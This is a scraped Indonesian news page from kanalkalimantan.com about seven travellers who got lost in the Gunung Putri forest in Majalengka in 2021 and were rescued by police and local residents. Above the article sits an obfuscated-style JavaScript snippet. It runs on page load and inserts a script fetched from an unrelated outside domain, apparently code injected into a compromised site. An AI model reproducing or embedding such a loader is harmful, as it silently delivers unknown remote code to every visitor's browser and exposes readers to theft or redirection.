(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MAJALENGKA – Belum lama ini, publik dihebohkan oleh kisah Enjang Imron (48), warga Tasikmalaya, yang nyasar di Hutan Gunung Putri, Majalengka, Jawa Barat, pada Jumat (12/2/2021) malam.
Bersama enam orang lainnya, Enjang diketahui hendak pulang ke rumahnya Tasikmalaya seusai berkunjung ke kediaman keluarga di Cirebon.
Namun, di tengah perjalan, dia mendapati pengalaman pahit yakni mobil yang dikemudikan malah masuk ke Hutan Gunung Putri karena terjadi kabut tebal.
Dalam program Apa Kabar Indonesia, Enjang menceritakan kronologi mobilnya bisa masuk ke Hutan Gunung Putri Majalengka, selepas dia menjalankan ibadah Salat Maghrib dan melewati jalan seperti biasanya.
Enjang mengakui tidak asing dengan jalur itu karena sudah biasa lewat, sehingga dia terheran-heran mengapa akhirnya malah tersesat masuk ke dalam hutan.
Awalnya Enjang melihat ada kabut tebal tepat di depannya. Berhubung dianggap jurang, akhirnya dia banting setir ke arah kiri.
“Depan gelap, cuma samping kiri itu yang ada lampu terang,” ungkap Enjang seperti dikutip Suara.com.
Enjang mengatakan, sepanjang belokan dia merasa ramai aktivitas sehingga terus melanjutkan perjalanan.
Bahkan, kata dia, ada penduduk seperti pengarah jalan kerap memanggil untuk mengarahkan laju mobil.
Selain itu, Enjang pun menuturkan bahwa dia seperti berjalan di aspal tanah mulus sebelum akhirnya dia merasa ada hal janggal karena tidak ada kendaraan lain sepanjang jalan.
“Sekitar jam 21.00, saya baru sadar. Ban mobil gembos. Saya keluar untuk ganti ban pakai dongkrak, tetapi dongkraknya macet. Ternyata itu sudah dalam hutan,” ujar Enjang.
“Ketika itu saya langsung masuk ke dalam mobil lagi karena hujan deras dan ada longsor di dekat mobil. Jadi akses jalan terputus, mobil kami tidak bisa melintas,” sambungnya.
Meski tempat sekitar sempat longsor, untung saja Enjang dan enam orang lain berhasil dievakuasi.
Dikabarkan sebelumnya, Petugas Polsek Cingambul dibantu warga sempat mencari ke tujuh orang tersebut. Selain dilingkupi kabut, kejadian itu pula disinyalir akibat pengemudi belum mengenal jalan.
Kapolres Majalengka, AKBP Syamsul Huda menerangkan, petugas Polsek Cingambul sebelumnya menerima informasi dari masyarakat ihwal warga yang diduga tersesat di area hutan Gunung Putri.
“Setelahnya, diterjunkanlah 3 petugas dari Polsek Cingambul untuk melakukan pencarian dibantu seorang warga sekitar,” katanya didampingi Kapolsek Cingambul AKP, Udin Saepudin.
Tim pencari menyusuri jalan yang diduga dilintasi kendaraan yang tersesat itu. Upaya pencarian dilakukan dengan berjalan kaki akibat jalan sekitar tertutup longsor di beberapa titik.
Usaha itu berhasil ketika sekitar pukul 02.00 WIB, minibus akhirnya ditemukan. Pengemudi dan para penumpangnya lantas dievakuasi ke rumah warga yang turut membantu upaya pencarian.
“Semua penumpang dan pengemudi dievakuasi dalam keadaan selamat,” tuturnya.
Proses evakuasi dilakukan dengan berjalan kaki akibat jalan masih tertutup material longsor. Kendaraan yang belakangan diketahui bernomor polisi Z 1167 LD sendiri terpaksa ditinggalkan sementara waktu di lokasi awal mereka ditemukan.(Suara)
Editor : Suara
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.